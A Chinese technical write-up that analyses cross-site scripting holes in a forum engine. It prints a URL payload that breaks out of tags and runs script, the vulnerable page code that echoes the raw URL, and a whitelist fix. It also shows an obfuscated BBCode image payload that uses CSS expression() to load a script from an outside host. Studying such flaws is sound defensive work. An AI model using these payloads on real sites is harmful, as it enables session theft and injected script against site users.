XSS跨站脚本实例

刚毕业时候的做的报告,整理文档的时候搜了出来,可能不是很正确仅供参考了

URL注入

网上大部分提供的方法也就是过滤关键字之类的

如果要做成保留前面正常的内容取出后面异常的部分比较难控制。

论坛大部分页面被注入的原因和SysInfo.aspx一样的

例如在页面上输入

http://www.91ri.org /SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1–>'”);></SCRIPT></style></title></textarea><SCRIPT>alert(“haha”)</SCRIPT>

查看源文件里的会有这样的代码

<A

href=”http://www.91ri.org /SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1–>'”);></SCRIPT></style></title></textarea><SCRIPT>alert(“haha”)</SCRIPT>”><FONT size=”4″>

前面蓝色的部分被截断了。

论坛里的TopicContent.aspx源代码是这样的

<A href=”<%=this.CurrentUrl%>”><FONT size=”4″>

其他页面也有类似的代码而且被注入的地方也是这些地方例如default页面

是这段代码<FORM id=”Frm” name=”Frm” action=’UserLogin.aspx?ru=<%=Request.RawUrl%>’ method=”post” onsubmit=”javascript:return CheckForm();”>

Memberlist.aspx页面是

<a href=”<%=Request.RawUrl%>”>会员列表</a>

而像Team.aspx这样没有这些代码的页面还没有发现注入的方法

所以考虑到这些可以采取安全部的意见使用白名单过滤:

先对URL的内容进行解码这样可以转义相当一部分玩家的花招

string strXss= Server.UrlDecode(this.Request.RawUrl.ToString());

然后使用白名单过滤:

只保留/,HTTP://,&,?,=,%,.,数字,字母,汉字,下划线。

安全部安全检查结果 通过。

XSS表单注入过程如下:

UBB解析前(仅讨论针对IMG标签):

注入字符串:

“rn[img]http://[color=attwidth=00ttSTYLE=a:expr/&#92;/Ession(docum&#00;ent.write(“&#60;scr&#00;ipt/&#92;/src=http://www.91ri.org /1000y.jpg&#62;&#60;/scr&#00;ipt&#62;”))t=]t[/color][/img]rn”

UBB解析过程:

解析前字符串:

“<br>[img]http://[color=attwidth=00ttSTYLE=a:expr/\/Ession(document.write(&quot;&lt;script/\/src=http://www.91ri.org n/1000y.jpg&gt;&lt;/script&gt;&quot;))t=]t[/color][/img]<br>”

正则表达式:

@”[img](?<img>.+?)[/img]”

要替换的字符串:

“<a href=’${img}’ target=’_blank’><img src=’${img}’ border=0 onmousewheel=’javascript:return bbimg(this)’ onload=”javascript:setTimeout(‘if(this.width>790)this.style.width=790′,1000);” alt=’Ctrl + 滚轮可以缩放图片大小’></a>”

替换后表达式

“<br><a href=’http://[color=attwidth=00ttSTYLE=a:expr/**/Ession(document.write(&quot;&lt;script/**/src=http://www.91ri.org /1000y.jpg&gt;&lt;/script&gt;&quot;))t=]t[/color]’ target=’_blank’><img src=’http://[color=attwidth=00ttSTYLE=a:expr/**/Ession(document.write(&quot;&lt;script/**/src=http://www.91ri.org /1000y.jpg&gt;&lt;/script&gt;&quot;))t=]t[/color]’ border=0 onmousewheel=’javascript:return bbimg(this)’ onload=”javascript:setTimeout(‘if(this.width>790)this.style.width=790′,1000);” alt=’Ctrl + 滚轮可以缩放图片大小’></a><br>”

本文作者:熬夜的虫子由网络安全攻防研究室(www.91ri.org) 信息安全小组收集整理.转载本文请著名原文地址及原作者版权信息。